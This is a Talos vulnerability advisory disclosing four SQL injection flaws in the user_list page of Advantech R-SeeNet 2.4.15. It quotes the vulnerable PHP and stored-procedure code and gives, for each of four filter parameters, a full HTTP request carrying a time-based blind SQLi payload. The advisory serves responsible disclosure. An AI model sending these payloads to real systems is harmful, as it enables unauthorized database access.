Talos Vulnerability Report

TALOS-2021-1365

Advantech R-SeeNet application multiple SQL injection vulnerabilities in the 'user_list' page

NOVEMBER 22, 2021

CVE NUMBER

CVE-2021-21920,CVE-2021-21921, CVE-2021-21922,CVE-2021-21923

Summary

Multiple exploitable SQL injection vulnerabilities exist in the ‘user_list’ page of the Advantech R-SeeNet 2.4.15 (30.07.2021). A specially-crafted HTTP request can lead to SQL injection. An attacker can make authenticated HTTP requests to trigger these vulnerabilities with the administrative account or through cross-site request forgery.

Tested Versions

Advantech R-SeeNet Advantech R-SeeNet 2.4.15 (30.07.2021)

Product URLs

https://ep.advantech-bb.cz/products/software/r-seenet

CVSSv3 Score

7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Details

R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.

These particular vulnerabilities exist due to misuse of prepared statements in the context of the application. With stored procedures combined with SQL, they are concatinated in such way that variables used to build up an SQL query, despite being initially sanitized, lose that protection when invoked against the database. An example of this can be seen in one of the stored procedures below, where the final prepared statement is simply taken from @sql variable without specific parameter bindings. This introduces a SQL injection vulnerability into the statement on line 1257 below from the original SQL file used during installation (companies.sql):

```
1224CREATE DEFINER=`root`@`localhost` PROCEDURE `sp_GetUsersAll`(params VARCHAR(255))
1225BEGIN
1226
1227            SET @user_num = 0;
1228
1229            DROP TABLE IF EXISTS user_list;
1230            CREATE TEMPORARY TABLE user_list ENGINE=MEMORY SELECT
1231              @user_num := @user_num + 1 as user_num,
1232              user_id,
1233              users.company_id as company_id,
1234              companies.name as comp_name,
1235              username,
1236              users.name as name,
1237              surname,
1238              users.email as email,
1239              users.phone as phone,
1240              rights,
1241              edit_device
1242            FROM users LEFT JOIN companies ON users.company_id = companies.company_id ORDER BY users.username;
1243
1244            SET @sql = CONCAT('SELECT
1245              user_num,
1246              comp_name,
1247              user_id,
1248              username,
1249              name,
1250              surname,
1251              email,
1252              phone,
1253              rights,
1254              edit_device
1255            FROM user_list WHERE username != "default" ',params);
1256
1257            PREPARE stmt FROM @sql;
1258            EXECUTE stmt;
1259            DEALLOCATE PREPARE stmt;
1260
1261          END$$
1262
```

CVE-2021-21920 - 'surname_filter' parameter

Parameter surname_filter is set as a session variable on line 109 of user_list.php as seen below:

```
107  if(isset($_GET['surname_filter']))
108  {  // je nastaven filtr surname
109    $_SESSION['surname_filter'] = urldecode($_GET['surname_filter']);
110  }
```

Following the above code, a variable is used on line 217 in the following code to build up a SQL query, which will get executed on line 250:

```
215  if((isset($_SESSION['surname_filter'])) && ($_SESSION['surname_filter'] != ''))
216  {
217    $sql = $sql.'AND surname LIKE "%'.mysqli_real_escape_string($link,$_SESSION['surname_filter']).'%" ';
218  }
[...]
238  $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
239
240  if( is_superadmin() )
241  { // jsme superadmin
242    $sql = 'call sp_GetUsersAll(\''.$sql.'\')';
243  }
244  else
245  {
246    $sql = 'call sp_GetUsers(\''.$sql.'\',\''.get_company_id().'\')';
247  }
248
249  // vykonani SQL prikazu
250     $result = db_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=user_list&username_filter=a&name_filter=a&surname_filter=aa%22%20AND%20(SELECT%209766%20FROM%20(SELECT(SLEEP(5)))a)--%20a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21921 - 'name_filter' parameter

Parameter name_filter is set as a session variable on line 104 of user_list.php as seen below:

```
102  if(isset($_GET['name_filter']))
103  {  // je nastaven filtr name
104    $_SESSION['name_filter'] = urldecode($_GET['name_filter']);
105  }
```

Following the above code, a variable is used on line 212 in the following code to build up a SQL query, which will get executed on line 250:

```
210  if((isset($_SESSION['name_filter'])) && ($_SESSION['name_filter'] != ''))
211  {
212    $sql = $sql.'AND name LIKE "%'.mysqli_real_escape_string($link,$_SESSION['name_filter']).'%" ';
213  }
214
[...]
238  $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
239
240  if( is_superadmin() )
241  { // jsme superadmin
242    $sql = 'call sp_GetUsersAll(\''.$sql.'\')';
243  }
244  else
245  {
246    $sql = 'call sp_GetUsers(\''.$sql.'\',\''.get_company_id().'\')';
247  }
248
249  // vykonani SQL prikazu
250     $result = db_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?page=user_list&username_filter=a&name_filter=aa%22%20AND%20(SELECT%209766%20FROM%20(SELECT(SLEEP(5)))a)--
%20a&surname_filter= HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21922 - 'username_filter' parameter

Parameter username_filter is set as a session variable on line 99 of user_list.php as seen below:

```
97   if(isset($_GET['username_filter']))
98   {  // je nastaven filtr username
99     $_SESSION['username_filter'] = urldecode($_GET['username_filter']);
100  }
101
```

Following the above code, a variable is used on line 207 in the following code to build up a SQL query, which will get executed on line 250:

```
203  $sql = '';
204
205  if((isset($_SESSION['username_filter'])) && ($_SESSION['username_filter'] != ''))
206  {
207    $sql = $sql.'AND username LIKE "%'.mysqli_real_escape_string($link,$_SESSION['username_filter']).'%" ';
208  }
[...]
238  $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
239
240  if( is_superadmin() )
241  { // jsme superadmin
242    $sql = 'call sp_GetUsersAll(\''.$sql.'\')';
243  }
244  else
245  {
246    $sql = 'call sp_GetUsers(\''.$sql.'\',\''.get_company_id().'\')';
247  }
248
249  // vykonani SQL prikazu
250     $result = db_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?page=user_list&username_filter=a%22%20AND%20(SELECT%209766%20FROM%20(SELECT(SLEEP(5)))a)--
%20a&name_filter=a&surname_filter= HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21923 - 'company_filter' parameter

Parameter company_filter is set as a session variable on line 113 of user_list.php as seen below:

```
111  if(isset($_GET['company_filter']))
112  {  // je nastaven filtr surname
113    $_SESSION['company_filter'] = urldecode($_GET['company_filter']);
114  }
```

Following the above code, a variable is used on line 222 in the following code to build up a SQL query, which will get executed on line 250:

```
220  if((isset($_SESSION['company_filter'])) && ($_SESSION['company_filter'] != ''))
221  {
222    $sql = $sql.'AND company_id = "'.mysqli_real_escape_string($link,$_SESSION['company_filter']).'" ';
223  }
[...]
238  $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
239
240  if( is_superadmin() )
241  { // jsme superadmin
242    $sql = 'call sp_GetUsersAll(\''.$sql.'\')';
243  }
244  else
245  {
246    $sql = 'call sp_GetUsers(\''.$sql.'\',\''.get_company_id().'\')';
247  }
248
249  // vykonani SQL prikazu
250     $result = db_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=user_list&username_filter=a&name_filter=a&surname_filter=a&company_filter=a%22%20AND%20(SELECT%209766%20FROM%20(SELECT(SLEEP(5)))a)--
%20a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

Timeline

2021-08-19 - Vendor Disclosure

2021-11-16 - Vendor Patched

2021-11-22 - Public Release

CREDIT

Discovered by Yuri Kramarz of Cisco Talos.